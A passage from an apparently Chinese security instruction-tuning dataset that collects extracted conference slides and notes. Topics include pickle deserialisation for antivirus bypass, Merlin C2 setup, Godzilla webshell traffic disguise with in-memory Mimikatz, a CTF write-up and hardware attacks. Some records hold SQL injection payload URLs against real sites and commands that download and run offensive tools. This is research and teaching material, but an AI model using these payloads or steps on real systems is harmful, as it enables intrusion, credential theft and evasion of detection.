``` Python 中也有类似的方法可以使其在被反序列化的时候执行这里以 `__reduce__` 为例 ```py import pickle class A(object): a = 1 b = 2 def __reduce__(self): return (print, (self.a+self.b,)) print(pickle.dumps(A())) ``` 通过 pickle 的 loads 来反序列化并自动执行 ```py import pickle ret = b'\\x80\\x03cbuiltins\\nprint\\nq\\x00K\\x03\\x85q\\x01Rq\\x02.' pickle.loads(ret) ``` 我们可以看到我们已经将我们的 a+b 自动输出了这里也可以提示我们pickle 的 loads 参数如果可以被控制我们就可以进行利用 我们这里可以对其进行混淆编码操作依旧以 Base64 编码为例我们序列化代码如下 ```py import pickle import base64 class A(object): a = 1 b = 2 def __reduce__(self): return (print, (self.a+self.b,)) ret = pickle.dumps(A()) ret_base64 = base64.b64encode(ret) print(ret_base64) ``` 接下来我们只需要进行反序列化调用之前先进行解码操作即可 ```py import pickle import base64 ret = b'gANjYnVpbHRpbnMKcHJpbnQKcQBLA4VxAVJxAi4=' ret_decode = base64.b64decode(ret) pickle.loads(ret_decode) ``` --- ## Source & Reference - [利用加载器以及Python反序列化绕过AV](https://www.echocipher.life/index.php/archives/648/)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRipping Media Off of the Wire A Step-by-Step Guide A Step-by-Step Guide By Honey honey.rtmp@gmail.com whoami: Honey is a Network Administrator for 4+ years a Research Assistant for a Ballistic research grant by the NIST an Adjunct Professor at John Jay College of Criminal an Adjunct Professor at John Jay College of Criminal Justice, located in NYC gaining her Masters degree in Forensic Computing has worked in the IT industry for the past 9+ years. holds a Computer of Information Systems B.S. dual A.A.S. degrees in Industrial Electronic Engineering and Computer Networking Scope: Download MP3s from Discussion of lack of security of protected streaming implementations Tools: wget version 1.11.4i Mozilla Firefox version 3.6.3ii an add-on for Mozilla Firefox called: HttpFox version 0.8.4iii 0.8.4iii rtmpdump version 2.1b for windowsiv Convert FLV to MP3 version 1.0 * All tools used are available for use under the GNU license. Specific versions are cited although may not be required Disclosure: This presentation describes methods to download protected materials in an effort raise awareness of the various weaknesses that exist within each implementation. implementation. All music/media used in this demonstration has the appropriate permissions for use by the musical artists themselves. Any illegal use of the following methods by third parties is the sole responsibility of the third party. The author of this presentation bares no legal responsibility for misuse of said techniques. Legal Statement: The following demonstration does violate YouTubes terms of service, MySpaces terms of service, and the Digital Millennium Copyright Act, and intellectual property rights, should you download copyrighted materials. YOUR USE OF THE INCLUDED TECHNIQUES SHALL BE AT YOUR OWN RISK. YOUR OWN RISK. IN NO EVENT SHALL THE PRESENTER, DEFCON, OR ANY DEFCON EMPLOYEES, BE LIABLE TO YOU FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, PUNITIVE, OR CONSEQUENTIAL DAMAGES WHATSOEVER RESULTING FROM AN", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 简介 ## 攻击模式 在我们攻击一个密码学系统时我们或多或少会得到关于这个系统的一些信息根据得到信息量的不同我们可以采用的方法就可能不同在当今的密码学分析时一般我们都会假设攻击者知道密码学算法这个假设是合理的因为历史上有很多保密的算法最后都被人所知比如 RC4被知道的方式多重多样比如间谍逆向工程等 这里我们根据攻击者获取密码学系统的信息的多少将攻击模式分为以下几类 - **唯密文攻击**攻击者仅能获得一些加密过的密文 - **已知明文攻击**攻击者有一些密文对应的明文 - **选择明文攻击**攻击者在开始攻击时可以选择一些明文并获取加密后的密文如果攻击者在攻击中途可以根据已经获取的信息选择新的明文并获取对应的密文则称为适应性选择明文攻击 - **选择密文攻击**攻击者在开始攻击之前可以选择一些密文并获取解密后的明文如果攻击者在攻击图中可以根据已经获取的信息选择一些新的密文并获取对应的明文则称为适应性选择密文攻击 - **相关密钥攻击**攻击者可以获得两个或多个相关密钥的加密或解密后的密文或明文但是攻击者不知道这些密钥 ## 常见攻击方法 根据不同的攻击模式可能会有不同的攻击方法目前常见的攻击方法主要有 - 暴力攻击 - 中间相遇攻击 - 线性分析 - 差分分析 - 不可能差分分析 - 积分分析 - 代数分析 - 相关密钥攻击 - 侧信道攻击 ## 参考文献 - https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%88%86%E6%9E%90", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCisco Confidential 1 2009 Cisco Systems, Inc. All rights reserved. NG Update Copyright 2010 Cisco Systems, Inc. All rights reserved. Cisco Confidential Panini Inter-VM data exfiltration The art of cache timing covert channel on x86 multi-core Etienne Martineau Kernel Developer August 2015 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 2 NG Update VM #1 client VM #2 server 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 3 NG Update Research own time my opinions not my employers The information and the code provided in this presentation is to be used for educational purposes only. I am in no way responsible for any misuse of the information provided. In no way should you use the information to cause any kind of damage directly or indirectly. Disclaimer 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 4 NG Update About me 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 5 NG Update 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 6 NG Update VM #2 VM #1 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 7 NG Update 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 8 NG Update VM#1 Modulate a contention pattern 1 | 0 | 0 | 0 | 1 MUL | NOP | NOP | NOP | MUL 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 9 NG Update VM#1 Modulate a contention pattern 1 | 0 | 0 | 0 | 1 MUL | NOP | NOP | NOP | MUL VM#2 Detect BUS contention Slow| Fast| Fast| Fast| Slow 1 | 0 | 0 | 0 | 1 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 10 NG Update 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 11 NG Update 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 12 NG Update Video #1 2009 Cisco Systems, Inc. All rights reserved. Cisco Confidential 13 NG Update Goal Practical implementation ( not just some research stuff ) How Abusing X86 shared resources Cache line encoding / decoding Getting around the ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n与业务融合的漏洞检测之路 关于我 乌云白帽子 猪猪侠 8年信息安全从业经历 信息安全领域爱好者 安全测试 数据挖掘 微博@ringzero DEMO 1 WEB2.0服务端 复杂的用户认证机制传统漏 洞扫描器无法与业务功能交互 http://v.youku.com/v_show/id_XODc0NjYyODg0.html DEMO 2 移动客户端 功能封闭导致漏洞扫描器无 法与业务功能交互 http://v.youku.com/v_show/id_XODc0Njc1MzI0.html 旁路传感器还原数据分析出攻击行为 使用业务系统时从数据流量中检测业务流程漏洞 什么是业务安全 连接彼此交换信息 保护信息在交换过程中的完整性可用性保密性 什么是业务安全 Information Technology IT 操作系统数据库 应用代码指的是技术(基础设施) 信息指的是业务数据也就是我们要真正要保护的对象 怎么找业务系统的漏洞 跟随业务系统内的每一个功能 智能检测缺陷 规则太多 不能通用 错误率高 人机互动 怎么找业务系统的漏洞 跟随业务系统内的每一个功能 代码设计(关系型数据库) 增删改查CURD 创建Create# 发布一条微博 删除Delete# 删除一条微博 更新Update# 修改用户资料 读取Retrieve# 查看好友们最新发布的微博 一些案例 案列1有排序的地方 案列2有分页的地方 http://apps.2012.qq.com/guess/list-tid--stat-4?sort=de sc,if%28%281=2%29,1,%28select/**/1/**/from/**/INFORMAT ION_SCHEMA.TABLES%29%29%20asc 案列3有搜索的地方 案列4有分类的地方 案列5有选择的地方 http://life.tenpay.com/cgi-bin/mobile/mobile_order_que ry.cgi?g_tk=1233447418&tid=01001004&showtry=1& amp;chg mobile=13800138000&uin=uid&startdate=20130108& enddate =20130408&state=0/**/union/**/select/**/1,2,3,4,5,6,7, user%28%29,9,0%23 怎么找业务系统的漏洞 跟随业务系统内的每一个功能 代码设计(关系型数据库) 每个业务都有自身的业务流程 增删改查CURD 创建Create# 发布一条微博 删除Delete# 删除一条微博 更新Update# 修改用户资料 读取Retrieve# 查看好友们最新发布的微博 安全是一个整体保证安全不在于强大的地方有多强大 而在于真正薄弱的地方在哪里 DNS安全--万网(这不是XSS) 最安全的DNS 找回密码设计--业务流程安全 How? 基于开源 Python,Mysql,Linux,Phantomjs, Redis,Celery,Nmap,Php 脚本套脚本 队列管理拥塞出错 分布式框架 模块关系 Redis 数据存储进程通信 Worker1 WorkerN Worker2 监控后台 下达命令 执行命令 报告状态 查看状态 数据代理 放入任务 处理任务 查询优先 错误处理 异步检测队列工作原理 任务队列 流量分析 控制台 producer Worker1 Worker2 WorkeN push pop 客户端 业务数据流 数据代理 Proxy 数据代理采集流量 控制台分析数据向队列压入任务 Redis队列系统等待Worker取任务 Worker执行任务并返回结果存储到数据库 任务队列的Redis存储设计 md5 Task (json) 任务md5索引 Hash 任务队列1 List 故障队列1 List 任务队列2 故障队列2 Push 任务队列和错误队列一一对应方便管理 Worker模型 扫描线程1 扫描线程 2 扫描线程 N 扫描线程管理器 指令线程Command thread Celery 配置中心 扫描队列 扫描队列 调度 错误队列 状态 报告 worker Redis 任务 报告 报告 pull push worker指令线程工作机状态报告线程工作调度杀死/取消进程 Task可报告工作进程的pid监控后台可下指令杀死卡死的进程 Worker管理 Worker任务状态管理 Worker线程池 简单不简单 摩尔定律带来灾难 生产力释放 社区更加开放 漏洞规则库 330个漏洞利用脚本 Apache Geronimo Default Administrative Cred", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\npin2pwn: How to Root an Embedded Linux Box with a Sewing Needle Brad Dixon - Carve Systems DEF CON 24 It works Easy Teachable Dramatic USEFUL NOVELTY Risky Crude Perhaps redundant Demo Prior Art Significant body of work around fault injection and glitching at the IC level for secure processors Recent system-level applications: - 2004: WRT54 Bricked Router recovery, Administrator note by mbm - How to Hack the Hudl We give Rockchip a good seeing to, Pen Test Partners blog post - 20 Devices in 45 Minutes, CJ Heres et. al., DEF CON 22 (related) - WINKHUB Side Channel Attack, Kevin2600, 2016 - Getting Root on a Philips Hue Bridge, Colin OFlynn, 2016 For today When this attack can be effective Why this attack works How to defend against this attack RISKS TO HARDWARE I have not yet destroyed hardware but this is abuse of semiconductor devices. Use on equipment you can afford to destroy. Depending on the hardware you may have better and safer options. Use those first. 102 Generic Networked Doohickey Product Design Order of Attack 1. Serial 2. JTAG 3. 4. Flash to CPU interface CPU Flash Ethernet Memory Serial JTAG Other I/O Parallel or SPI flash poke here Why does this work? Disrupt boot chain with a transient fault Activate an unexpected failure path Boot loader Kernel load to RAM Scan / Mount ? Init / Start App poke now or now Scenario #1: Exploitable U-Boot Configuration 1. No JTAG. 2. Homegrown secure boot 3. Try to load and boot kernel #1 4. Try to load and boot kernel #2 5. If that fails then return to U-Boot prompt! Scenario #2: Exploitable Init Configuration /bin/init reads /etc/inittab /bin/init runs /etc/rc /etc/rc starts application in the foreground Application grabs console and presents a login prompt with credentials we dont know BUT if the application fails to load then /bin/init runs /bin/sh How To Using LTE Router #4 How To Survey HW Identify ports to monitor boot Datasheets Inspect failure modes, if possible Get boot timing Prepare ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# merlin --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **项目地址** - https://github.com/Ne0nd0g/merlin - https://github.com/Ne0nd0g/merlin-agent - https://github.com/its-a-feature/Mythic - https://github.com/MythicAgents/merlin **使用文档** - https://merlin-c2.readthedocs.io/en/latest/index.html --- ## 安装 **Server 安装** ```bash mkdir /opt/merlin;cd /opt/merlin wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z 7z x merlinServer-Linux-x64.7z # 密码 merlin sudo ./merlinServer-Linux-x64 ``` **Agent 下载** ``` https://github.com/Ne0nd0g/merlin/releases/download/v1.4.1/merlinAgent-Darwin-x64.7z https://github.com/Ne0nd0g/merlin/releases/download/v1.4.1/merlinAgent-Linux-x64.7z https://github.com/Ne0nd0g/merlin/releases/download/v1.4.1/merlinAgent-Windows-x64.7z ``` **通过 f8x 进行安装** ```bash wget -O f8x https://f8x.io/ bash f8x -merlin ``` --- ## 使用 运行 server 端,配置监听器,然后 agent 运行时配置 server 端地址,即可 server 端使用和 msf 框架很像 ```bash merlinServer ``` `help` 可以查看在当前状态下可用的命令 输入 `listeners` 配置监听器 输入 `use https` 使用 https 协议 输入 `info` 查看当前监听器的信息 输入 `start` 开启监听 ``` listeners use https info start ``` 可以看到它默认监听 127.0.0.1 输入 `set` 配置监听的接口 ```bash set Interface 0.0.0.0 info ``` `restart` 一下 ``` restart ``` 这个时候我们可以测试 agent 端上线的效果了 这里我拿 win11 为例 可以看到有新会话上线了 输入 `sessions` 输入 `main` 回到主菜单 输入 agent interact 加上 agent guid 来进行交互 ``` main agent list agent interact 0a83d6dd-6b84-44c8-bedd-7a512a8b8a3a ``` 然后执行个命令测试一下 ``` run ping 114.114.114.114 ``` 可以看到,执行命令有一定的延迟,猜测应该是和默认的心跳值有关", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n高级攻防下的WEBSHELL About Me 0 1 \"张一臣 BeichenDream; \"360政企安全-高级攻防实验室-安全研究资深工程师 \"JVM安全研究者 \"哥斯拉作者 目录 CONTENTS 0 1 01 PART\"01 流量对抗 02 PART\"02 武器化 03 PART\"03 内存马 05 PART\"05 Agent对抗 06 PART\"06 正向代理 07 PART\"07 哥斯拉插件扩展 04 PART\"04 Java反射绕过 PART.01\" 0 2 对抗流量审查 \" 伪装正常业务的流量 为什么要对抗流量审查 0 1 蚁剑 \"防止流量被他人窃取分析 \"不想被人发现异常流量 \"防止被WAF拦截 冰蝎 哥斯拉 三大常用webshell默认流量 将哥斯拉流量扩展成Html之扩展请求包 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 模仿某搜索引擎流量 1. 截取任意post表单请求数据 2. 选取rsv_t参数作为密码 3. 重新生成一个shell 密码为rsv_t的参数 4. 设置请求追加数据 将哥斯拉流量扩展成Html之扩展返回包 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 模仿某搜索引擎流量 5. 截取任意页面将shell放入任何位置 将哥斯拉流量扩展成Html之查看扩展成果 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 模仿某搜索引擎流量 6. 查看成果 它就像是正常的业务流量一样且可以被渲染 将哥斯拉流量扩展成Json之扩展请求包 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 模仿正常业务Json流量 1. 截取任意json请求数据 2. 生成一个默认的shell 3. 选取数据出现位置 这里选择encrypt参数尾部 4. 设置请求追加数据 将哥斯拉流量扩展成Json之扩展返回包 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 5. 手动解析encrypt值分离出哥斯拉流量 6. 将Payload的返回值赋值给result->user 7. 将result对象作为json输出 模仿正常业务Json流量 将哥斯拉流量扩展成json之查看扩展成果 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 9. 查看成果 它就像是正常的业务流量一样且可以被解析 模仿正常业务Json流量 哥斯拉流量扩展之查看扩展成果 0 1 不支持扩展的shell不是好shell 扩展时尽量模仿正常业务请求流量 扩展时尽量模仿正常业务返回流量 PART.02\" 0 2 将Webshell武器化 \" Pty \"内存加载 \" 后渗透 全交互的Pty\"shell 0 1 \"Linux下采用python\"pty模块 \"Windows\"采用Winpty &\"shellhost \"客户端使用jediterm解析Pty数据流 内置多个权限提升模块 0 1 \"BadPotato SweetPotato EfsPotato \"由于IIS是服务权限拥有模拟Token权限 所以提权利用使用稳定性比较高的Potato \"权限提升后哥斯拉会保存高权限token以供后利用做准备 \"权限提升后可直接以高权限账户运行Mimikatz \"这全过程都是在内存中运行的 没有任何文件落地 \"内存运行技术采用pe_to_shellcode 在内存中运行任意可执行程序 0 1 \"可自定义程序参数 \"支持x86/x64可执行程序 \"可自定义远程进程/pid 提权后一键运行Mimikatz 0 1 \"提权后可一键抓取系统密码 \"提权后可以以高权限执行shellcode \"直接以高权限用户上线msf/cs PART.03\" 0 2 内存马 \" asp.net(iis)\"\"\"虚拟目录与MVC内存马 \" Java\"Agent\"通用内存马 \" 在仅执行命令情况下获得内存马 asp.net(iis)\"\"内存马 0 1 \"为了获得更完整的控制功能 \"不会在磁盘残留文件 \"可绕过静态查杀 asp.net(iis)\"\"虚拟目录内存马 0 1 \"asp.net在每个请求到达Page\"Resource时会执行 HostingEnvironment.VirtualPathProvider.GetCacheKey获取缓存Key asp.net(iis)\"\"虚拟目录内存马 0 1 \"所以我们可以把HostingEn", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n. . . . . . . .. . . . . eXercise In Messaging and Presence Pwnage fun with XMPP Ava Latrope iSEC Partners Defcon 17 Ava Latrope (iSEC Partners) eXercise In Messaging and Presence Pwnage Defcon 17 1 / 32 . . . . . . Introduction Outline Outline .. .1 Introduction The basics Common Stanzas ...2 The victims Clients Servers .. .3 Attack scenarios DoS, DoS, and more DoS XML Parsing File/Image Upload ...4 Tools Persimmon Proxy XMPP Fuzzer .. .5 Conclusion Ava Latrope (iSEC Partners) eXercise In Messaging and Presence Pwnage Defcon 17 2 / 32 . . . . . . Introduction Who am I? Who am I? Security Consultant, iSEC Partners Prior to that, QA automation for various web 2.0 horrors Eats babies Ava Latrope (iSEC Partners) eXercise In Messaging and Presence Pwnage Defcon 17 3 / 32 . . . . . . Introduction The basics What is XMPP? eXtensible Messaging and Presence Protocol Formerly the Jabber project Specialized XML-based protocols, used for: content syndication file sharing ...but, well, still mostly IM. Ava Latrope (iSEC Partners) eXercise In Messaging and Presence Pwnage Defcon 17 4 / 32 . . . . . . Introduction The basics Why am I picking on it? Ubiquity Open standard RFC Process Many implementation details are at the discretion of the developer ...anyone whos met a developer should be worried by that sentence As much fun as youd expect with regular XML parsing Ava Latrope (iSEC Partners) eXercise In Messaging and Presence Pwnage Defcon 17 5 / 32 . . . . . . Introduction The basics How it works Decentralized Addressing via JIDs of the format user@server TLS encryption and SASL authentication HTTP binding XML stream Ava Latrope (iSEC Partners) eXercise In Messaging and Presence Pwnage Defcon 17 6 / 32 . . . . . . Introduction The basics Common Attributes to - recipient JID from - sender JID id Optional Generated for tracking purposes Scope of uniqueness is flexible type Specifies purpose of the stanza Each stanza variety has its own list of acceptable types xml:lang Only affect", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n10000 Yen Into the Sea Bio: Flipper Job Title:Engineering Technician What: Electric Vehicles Goal: Build a low cost underwater glider If you want to make an apple pie from scratch, you must first create the universe. - Carl Sagan What is an underwater glider? Underwater Gliders: -Highly efficient autonomous submarines that can travel long distances on battery power Background ARGO Floats http://www.argo.ucsd.edu/float_design.html http://www.argo.ucsd.edu/operation_park_profile.jpg http://www.webbresearch.com/pdf/EurekaMoment.pdf http://discovermagazine.com/1996/apr/athousanddivingr734 \"The Slocum Mission\" - Henry Stommel April 1989 - Oceanograpy Magazine http://auvac.org/uploads/publication_pdf/the_slocum_mission.pdf http://www.webbresearch.com/slocumglider.aspx \"Scarlet Knight\" \"Scarlet Knight is 93 inches in length. Most of the gliders flown by Rutgers are 84 inches\" 23.8 kilograms of Batteries 59.1 liters displacement ~4,500 mile trip source:http://rucool.marine.rutgers.edu/atlantic/about_gliders.html Lithium CSC @ 900Wh/kg =21.42kWh source:http://www.electrochemsolutions.com/pdf/Echem%20Corporate%20Case%20Study_Slocum%20Glider.pdf How do you make an Underwater Glider? Design Spiral: 1. Define Requirements 2. Research 3. Buoyancy engine 4. Energy Storage 5. Attitude Control System 6. Hull Design 7. Testing Efficiency crucial elements of an Underwater Glider -Low Drag Hull Form -Buoyancy Engine Conservative:Torpedo(Myring 1976) Bold:Laminar Flow X-35(Carmichael 1966) Define Requirements: 1. Low Price($100 Target) 2. Difficulty of manufacture(In my boxers) 3. Range/Efficiency(Fingers crossed) Early Efforts During Learning Phase -Axial Piston Syringe Pump Research (Considered a variety of approaches) High Test Peroxide Free Piston Diesel Hydraulic Pumps Electric Motors Linear Actuators Wave Power/Solar Buoyancy Engine -Phase Change Material(\"PCM\") -Not N-Pentadecane(~10 degree C melting point) -Canning wax: http://en.wikipedia.org/wiki/Paraffin_wax \" In", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMouseJack: Injecting Keystrokes into Wireless Mice Marc Newlin | marc@bastille.net | @marcnewlin Marc Newlin Security Researcher @ Bastille Networks ((Mouse|Key)Jack|KeySniffer) Wireless mice and keyboards 16 vendors proprietary protocols (non-Bluetooth) 4 families of transceivers 16 vulnerabilities keystroke sniffing keystroke injection many are unpatchable Types of vulnerabilities Keystroke Injection Unencrypted, targeting mice Unencrypted, targeting keyboards Encrypted, targeting keyboards Keystroke Sniffing Unencrypted keyboards Forced Pairing Logitech Unifying dongles Keyboard disguised as mouse Malicious macro programming Delayed keystroke injection Denial of service Crash USB dongle firmware ShhhMouse Turns out everybody makes vulnerable devices... Prior Research Thorsten Schroeder and Max Moser (2010) Practical Exploitation of Modern Wireless Devices (KeyKeriki) Research into XOR encrypted Microsoft wireless keyboards Travis Goodspeed (2011) Promiscuity is the nRF24L01+s Duty Research into nRF24L pseudo-promiscuous mode functionality Samy Kamkar (2015) KeySweeper Microsoft XOR encrypted wireless keyboard sniffer How do mice and keyboards work? Peripherals send user input to dongle Dongle sends user input to computer An attacker can talk to your dongle... or eavesdrop on your unencrypted keyboard Background and Motivation \"Since the displacements of a mouse would not give any useful information to a hacker, the mouse reports are not encrypted.\" - Logitech (2009) Initial Logitech mouse research USRP B210 SDR Logitech M510 mouse GNU Radio decoder Good for passive RX USB and CPU latency make two way communications tricky Burning Man to the rescue! (duh) NES controller internals Arduino Nano DC boost converter nRF24L01+ vibration motor WS2812B LED Logitech mouse hijacking NES controller Village Adventure by Marc Newlin IoT Village a Logitech mouse clicker did not like the hax NES Controller v2 (now with more things!) NES contr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nExploitable Assumptions Doktor Zoz, Dr. Foley, and Eric Schmiedl What the hell is a Hacker? What the hell is a Hacker? The movie does get a few things right Curiosity Assumptions and Authority! Hacker Mindset Good at spotting flaws, inefficiencies Must know how things work at any cost Boil things to most abstract level Are stubborn, with bloody-mindedness Constantly testing even if inconvenient Intuition of what is interesting to verify Willing to take risks and fail Доверяй, но проверяй Trust but verify --Ronald Reagan 1987 } Assumptions! Why do we care about those damned Assumptions? KRB4 zero-seed encrypt everyone assumed working because output looked encrypted and worked Buffer overruns Assumption that you will only write so much data SQL injections Assume that variables cannot affect flow control When you assume... Assumptions Aplenty Snake in the Peanut Brittle! No explanation needed Good looking websites and evil web design Assumption of similarity to physical storefronts Exploits assumptions of \"relevant info\" and \"not relevant\" through misleading graphic design Fighting Assumptions: Axiomatic Design aka WWNSD MIT Mechanical Engineering & KAIST: Design Methodology [Suh 2001] Solution neutral design process Excellent for discovering assumptions Dr. Nam Suh says: \"Assumptions make you stupid. No good! Y fail!\" Axiomatic Design Process Axiom 1: Decouple aka. Independence Axiom Within domain, elements MUST be independent! Problems arise when Customer needs assumed as functional requirements Functional requirements assumed as design parameters Contradictions lead to conflicts, lead to security holes Axiom 2: Reduce complexity aka Information Axiom Designs with least information increase robustness complexity opens \"arbitrage\" opportunities complexity vs. user centered design user workarounds create security holes Beware time dependence Some complexity is static, some is time dependent t-dependent combinatorial complexity -> chaos transform combinatorial into peri", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n0CTF WP Author:Nu1L Team 0CTF WP WEB amp2020 easyphp noeasyphp lottery Wechat Generator Pwn eeeeeemoji simple echoserver Chromium RCE Re babymips Happy Tree J w flash-1 Misc eeemoji Cloud Computing Cloud Computing v2 Crypto babyring WEB amp2020 dockerflagenvcouchDBcouchDBHTTP RCE/SSRF axios SSRFWAFWAF SSRFcouchDB flag curl http://aa015267de77493e88c837682b02c5668:iwantagirlfriend@127.0.0.1:5984/aa015 267de77493e88c837682b02c5668/flag AMPHTML (amphtml-validator)cheerio scriptchrome script IP127.0.0.1URLaxios couchDBcouchDBHTTP basic authcookie iframecouchDB(HTMLsrcHTTP basic auth) HTML/XSSchromeaxiosaxios SSRF couchDBleak flag 1. HTML cheerioamphtml-validatorbypass (noscriptiframeamphtml-validator) axios(metatargetiframe axios) 2. SSRFWAF axiosobject input[a]=xxx&input[b]=yyy{\"a\":\"xxx\",\"b\":\"yyy\"}axios Hello, AMPs ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAugust 4-7, 2016 1 2 3 4 5 6 7 8 9 10 11 12 Exploit Mitigation Techniques on iOS Max Bazaliy A Journey Through August 4-7, 2016 About me 1 2 3 4 5 6 7 8 9 10 11 12 o From Kiev, Ukraine o Staff Engineer at Lookout o Focused on XNU, Linux and LLVM internals o Interested in jailbreak techniques o Worked on obfuscation and DRM in a past o Member of Fried Apple team August 4-7, 2016 Agenda 1 2 3 4 5 6 7 8 9 10 11 12 o iOS security mechanisms o Function hooking o iOS 8 & 9 exploit mitigations o Bypassing code signatures o Future codesign attacks August 4-7, 2016 o Memory protections o Code signing o Sandbox o Secure boot process o Data protection o Kernel Patch Protection 1 2 3 4 5 6 7 8 9 10 11 12 iOS security mechanisms August 4-7, 2016 o No way to change existing page permission o Pages can never be both writable and executable o No dynamic code generation without JIT o Non executable stack and heap o ASLR / KASLR 1 2 3 4 5 6 7 8 9 10 11 12 Memory protections August 4-7, 2016 1 2 3 4 5 6 7 8 9 10 11 12 Allocating new regions kern_return_t vm_map_enter(){! ...! #if CONFIG_EMBEDDED! if (cur_protection & VM_PROT_WRITE){! if ((cur_protection & VM_PROT_EXECUTE) && !entry_for_jit){! printf(\"EMBEDDED: curprot cannot be write+execute. turning off execute\\n);! cur_protection &= ~VM_PROT_EXECUTE;! }! }! #endif /* CONFIG_EMBEDDED */! ...! } http://opensource.apple.com//source/xnu/xnu-3248.20.55/osfmk/vm/vm_map.c! August 4-7, 2016 1 2 3 4 5 6 7 8 9 10 11 12 Changing existing regions kern_return_t vm_map_protect(){! ...! #if CONFIG_EMBEDDED! if (new_prot & VM_PROT_WRITE) {! if ((new_prot & VM_PROT_EXECUTE) && !(curr->used_for_jit)) {! printf(\"EMBEDDED: %s can't have both write and exec at the same time\\n\", __FUNCTION__);! new_prot &= ~VM_PROT_EXECUTE;! }! }! #endif! ...! } http://opensource.apple.com//source/xnu/xnu-3248.20.55/osfmk/vm/vm_map.c! August 4-7, 2016 o Mandatory Access Control Framework (MACF) o Code must be signed by trusted party o Signed page hashes match running cod", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nNot So Super Notes How Well Does US Dollar Note Security Prevent Counterfeiting? Who? Member of Technical Staff for VMware Bachelors and Masters degree in Computer Science Software engineer for almost 10 years Love thinking about the limits of systems Amateur lock-picker Amateur beer brewer What? The security of US dollar notes How this security is implemented The effectiveness of this security Why? US dollar notes widely used The value of US dollar notes is dependent on its security (among other things) Counterfeiting can reduce the value of the dollar and potentially destabilize economies Scope In Only US dollar notes Out Coins Other aspects of counterfeiting Warning/Disclaimer Counterfeiting is a very serious crime, do not attempt under any circumstances Making counterfeit dollars is bad, passing it is worse It is on the short list of crimes defined directly in the US Constitution, along with piracy and treason US Dollar History Prior to 1996, US dollar design had been mostly unchanged since 1928 The threat from advances in cheap color scanning and printing equipment prompted redesign efforts in 1993 Design security was revisited in 2006, 2007 Contributions to anti-counterfeit research were made by experts from institutions including: The National Academies, National Research Council, National Materials Advisory Board, IBM Research, Drexel University, New York University, Sandia National Laboratory, Rockefeller University, Innovative Technology Associates, University of Colorado Boulder, Apple Computer, University of Rochester, AT&T Bell Laboratories, University of Arizona Tucson, GE Aviation, Michigan State University, Xerox Innovation Group, Alfred University, Carnegie Mellon University, NASA Glenn Research Center, University of Michigan, Georgia Institute of Technology, University of Illinois at Urbana-Champaign, Rubenstein Studios, France Telecom, Microsoft, OFS Laboratories, Boeing, Wayne State University, AFL-CIO, Massachusetts Insti", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFOR THE LOVE OF MONEY Finding and exploiting vulnerabilities in mobile point of sales systems LEIGH-ANNE GALLOWAY & TIM YUNUSOV POSITIVE TECHNOLOGIES MPOS GROWTH 2010 Single vendor 2018 Four leading vendors shipping thousands of units per day Motivations Motivations MWR Labs Mission mPOSsible 2014 Related Work Mellen, Moore and Losev Mobile Point of Scam: Attacking the Square Reader (2015) Related Work Research Scope Research Scope PAY PA L S Q U A R E I Z E T T L E S U M U P Research Scope How much security can really be embedded in a device that is free? Research Scope PHONE/SERVER HARDWARE DEVICE/PHONE MOBILE APP SECONDARY FACTORS Research Scope MERCHANT ACQUIRER CARD BRANDS ISSUER Background MPOS PROVIDER ACQUIRER CARD 